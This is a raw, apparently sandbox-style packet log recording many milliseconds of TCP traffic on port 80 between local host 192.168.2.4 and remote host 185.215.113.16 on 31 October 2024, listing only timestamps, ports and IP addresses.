Oct 31, 2024 05:06:37.250061989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250062943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250081062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250083923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250098944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250116110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250121117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250133038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250149012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250164032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250171900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250183105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250205994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250206947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250221968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250237942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250246048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250260115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250266075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250274897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250298023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250313044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250314951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250327110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250336885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250350952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250365973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250370979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250380993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250396013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250417948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250422001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250433922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250438929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250451088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250475883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250477076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250493050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250507116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250515938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250524044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250538111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250552893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250556946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250576019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250590086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250602007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250617027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250631094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250636101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250646114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250658989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250660896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250677109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250689030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250694036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250710964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250715971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250725985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250742912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250751972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250756979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250773907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250787973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250803947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250806093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250819921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250823021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250850916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250868082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250881910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250905991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250906944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250921011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250945091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.250966072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.250983000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251005888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251024008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251029015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251039028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251055002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251058102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251080990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251081944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251096964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251112938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251127958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251122952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251147985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251151085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251163006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251178980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251185894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251203060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251219034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251219988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251235008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251250029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251267910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251291037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251300097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251306057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251336098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251347065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251351118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251367092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251383066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251400948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251406908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251426935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251452923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251477957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251492977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251507998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251533031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251545906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251560926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251563072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251584053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251596928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251597881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251621962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251622915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251636982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251653910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251657963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251665115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251703978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251708031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251718998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251733065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251741886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251755953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251771927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251771927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251786947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251810074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251812935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251827955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251843929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251856089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251859903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251883030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251892090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251898050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251919985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251943111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251945019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251957893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251969099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.251975060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251991034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.251998901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252008915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252026081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252033949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252042055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252063990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252084970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252099991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252121925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252136946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252141953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252161980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252163887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252177000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252193928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252209902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252224922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252229929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252240896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252255917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252266884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252278090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252293110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252306938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252330065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252331018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252346039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252352953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252360106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252377987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252383947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252401114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252402067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252407074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252423048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252437115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252444983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252454042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252470016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252476931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252490997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252494097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252506971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252521038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252537012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252545118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252561092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252562046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252577066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252599001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252599955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252615929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252636909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252645016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252652884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252667904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252672911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252685070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252700090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252706051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252713919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252728939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252743006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252754927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252760887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252774954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252774954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252799988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252799988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252818108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252839088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252854109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252868891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252876043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252888918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252892017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252909899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252917051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252924919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252939939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252948999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.252958059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252980947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.252996922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253005028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253012896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253015041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253029108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253042936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253046989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253071070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253082991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253093958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253098965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253115892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253120899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253130913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253154993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253158092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253170013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253190994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253192902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253207922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253222942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253238916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253247976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253271103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253293991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253298044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253312111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253325939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253349066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253350973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253362894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253367901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253377914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253396034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253411055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253427982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253427982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253484964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253499031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253514051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253518105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253536940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253552914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253556013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253566980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253582001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253596067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253603935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253628969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253638983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253654003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253669024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253684998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253693104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253704071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253864050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253895044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253909111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253932953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253936052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253947973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.253957987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.253983021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254086971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254149914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254164934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254182100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254190922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254199028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254220009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254388094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254416943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254430056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254455090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254477024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254494905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254513979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254535913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254550934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254556894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254565954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254580975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254595995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254607916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254612923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254622936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254628897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254647017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254653931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254662991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254683971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254700899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254715919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254730940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254744053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254755974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254760027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254784107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254784107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254793882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254801989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254816055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254831076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254852057 CET	49744	80	192.168.2.4	185.215.113.16
